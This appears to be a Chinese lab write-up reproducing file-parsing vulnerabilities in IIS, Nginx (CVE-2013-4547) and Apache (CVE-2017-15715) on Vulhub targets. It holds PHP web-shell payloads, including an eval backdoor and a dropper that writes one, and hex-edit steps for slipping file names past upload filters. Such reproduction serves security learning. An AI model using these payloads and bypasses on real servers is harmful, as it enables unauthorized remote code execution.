【文件解析漏洞复现】

avatar
作者
筋斗云
阅读量:0

一.IIS解析漏洞复现

1.IIS6.X

方式一:目录解析

搭建IIS环境

在网站下建立文件夹的名字为.asp/.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

 

访问成功被解析

方式一:目录解析

在IIS 6处理文件解析时,分号可以起到截断的效果。也就是说 shel.asp;.jpg会被服务器看成是shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx

创建一个文件1.asp;.jpg

写入以下内容

访问,成功被解析

2.IIS7.X

在I1S7.0和I1S7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

首先安装phpStudyIIS版

再安装对应的Windows服务,启动phpStudy

打开IIS管理器,做如下操作,点击确定

找到php的配置文件将下面内容取消注释,重启phpStudy

在网站的根目录下创建一个1.jpg写入以下内容<?php phpinfo(); ?>,在路径后加上/.php访问,php代码被成功解析

二.Nginx解析漏洞复现

创建环境

安装docker:all docker.io

安装docker-compose:apt install docker-compose

拉取靶场镜像:git clone https://github.com/vulhub/vulhub.git

进入以下Vulhub路径并开启容器

cd /nginx/nginx_parsing_vulnerability

docker-compose build

docker-compose up -d

docker ps -a

1.nginx_parsing

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将/xx.jpg/xx.php 解析为 php 文件。

上传一个jpg文件写入以下代码GIF89a

<?php phpinfo(); ?>,上传

上传成功

在路径后面加入/.php访问,成功解析到文件里的php代码

2.CVE-2013-4547

上传文件,文件里写入<?php fputs(fopen('xnq.php','w'),'<?php @eval($_POST["cmd"])?>');?>

Bp开启抓包,提交查询

点击Hex,找到刚刚的两个空格,修改第二个20为00,放行

上传成功

在.php和.jpg中间输入两个空格,访问抓包

点击Hex,找到第修改的二个空格修改20为00,放行

访问成功,代码被成功执行

再访问一下我们的写入的木马文件,成功访问,说明写入成功

用中国蚁剑链接,连接成功

三.Apache解析漏洞复现

1.apache_parsing

上传一个后缀名是.php.jpg的文件里面写入<?php phpinfo(); ?>

上传成功

访问上传的文件,php代码被成功解析

2.CVE-2017-15715

上传文件,文件里写入一句话木马<?php @eval($_POST['cmd']); ?>

Bp开启抓包,提交查询

点击Hex,修改20为0a,放行

访问文件名+%0a,访问成功

用中国蚁剑链接,连接成功

广告一刻

为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!